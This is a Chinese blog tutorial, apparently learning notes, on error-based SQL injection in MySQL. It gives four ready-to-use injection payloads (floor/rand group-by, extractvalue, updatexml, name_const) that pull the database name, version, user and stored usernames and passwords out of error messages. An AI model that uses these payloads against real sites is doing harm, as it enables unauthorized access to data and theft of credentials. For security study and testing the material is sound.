SQL注入 基于报错的盲注

基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等

1.直接使用报错:' union select 1,count(*),concat('/',(select @@datadir),'/',floor(rand(0)*2))a from information_schema.columns group by a--+

【这里格式貌似几乎固定,相当于这样输就会出错的bug,count()用来返回有多少条数据这里固定写法,中间select后面是我们要获得的信息,floor(rand(0)2)也是固定写法,floor用来取不大于括号里的最大整数,比如1.5取1,后面的a和最后没的a只要是相等的字符就可以,如图】


【然后返回值不能超过1行数据,所以如果里面的select获取的是多行数据时要加limit,如图】

2.利用xpath函数—extractvalue报错:' and extractvalue(1,concat(0x7e,(select database()),0x73))--+

【这也是一种类似bug的固定写法,extractvalue,concat里面第一个必须是0x7e,后面是要查的内容,concat里面可以放很多参数(参见目录),所以可以多查很多数据,如图同时获取了数据库名,用户名和第一个表名】



【concat里面甚至可以再放函数,如图用了group_concat,将用户名密码全部获得(但是好像输出长度有限定,只能输出一定长度结果)】


3.利用xpath函数—updatexml报错:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

【与extractvalue同理,这里不再赘述,如图】


4.利用数据重复性报错:' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x--+

【这个貌似有点问题,现在只能查到数据库版本,语法基本固定,第一个select查啥都可以,不一定得1,2,3,两个name_const()里面要一样,最后一个x也啥都可以,如图】


最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 基于错误_POST_更新查询注入 我讨厌这个错误回显。 这一关有很多不同的解法,我们将依次分析(这篇看上去会很长)...
    Hyafinthus阅读 4,090评论 7 12
  • http://127.0.0.1/sqli-labs-master 浅析MySQL中concat以及group_c...
    BerL1n阅读 8,661评论 0 4
  • Sql注入定义: 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行...
    付出从未后悔阅读 713评论 0 3
  • �������耿睿婕生涯规划系列分享之五十:《回归》 今天下午应三门峡公安局心理健康服务中心的邀请,为公安系统的民...
    睿婕生涯心理咨询工作室阅读 193评论 0 0
  • AIWebPage项目搭建 环境安装: 1. python安装 ,当前项目是基于python2.7的,安装包稍后会...
    低调的_Fly阅读 167评论 0 0